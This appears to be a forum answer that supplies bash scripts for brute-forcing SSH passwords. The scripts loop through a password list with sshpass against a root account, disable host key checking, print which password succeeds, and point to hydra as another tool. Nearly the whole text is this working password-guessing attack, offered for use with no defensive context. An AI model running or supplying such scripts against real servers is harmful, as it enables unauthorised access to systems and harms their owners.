You can test the password by making ssh connection in loop:
#!/bin/bash
sshpass -f<filename> ssh -o 'StrictHostKeyChecking no' -p port user@ip
You should just install sshpass
on your system
This surely works:
sshpass -p'password' ssh -o 'StrictHostKeyChecking no' -p 22 root@ip
Try this one surely helps you:
for pass in $(cat /path/to/pass)
do
sshpass -p$pass ssh -o 'StrictHostKeyChecking no' -p 22 root@ip
done
UPDATE
So if you want to get pretty output:
#!/bin/bash
for pass in $(cat /path/to/pass)
do
echo -e "Reading $pass..."
sshpass -p$pass ssh -o 'StrictHostKeyChecking no' -p 22 root@ip
if [ "$?" -ne "0" ]; then
echo -e "$pass is incorrect\n"
elif [ "$?" -eq "0" ]; then
echo "SSH connection established with pass=$pass"
fi
done
You can also test your passwords with hydra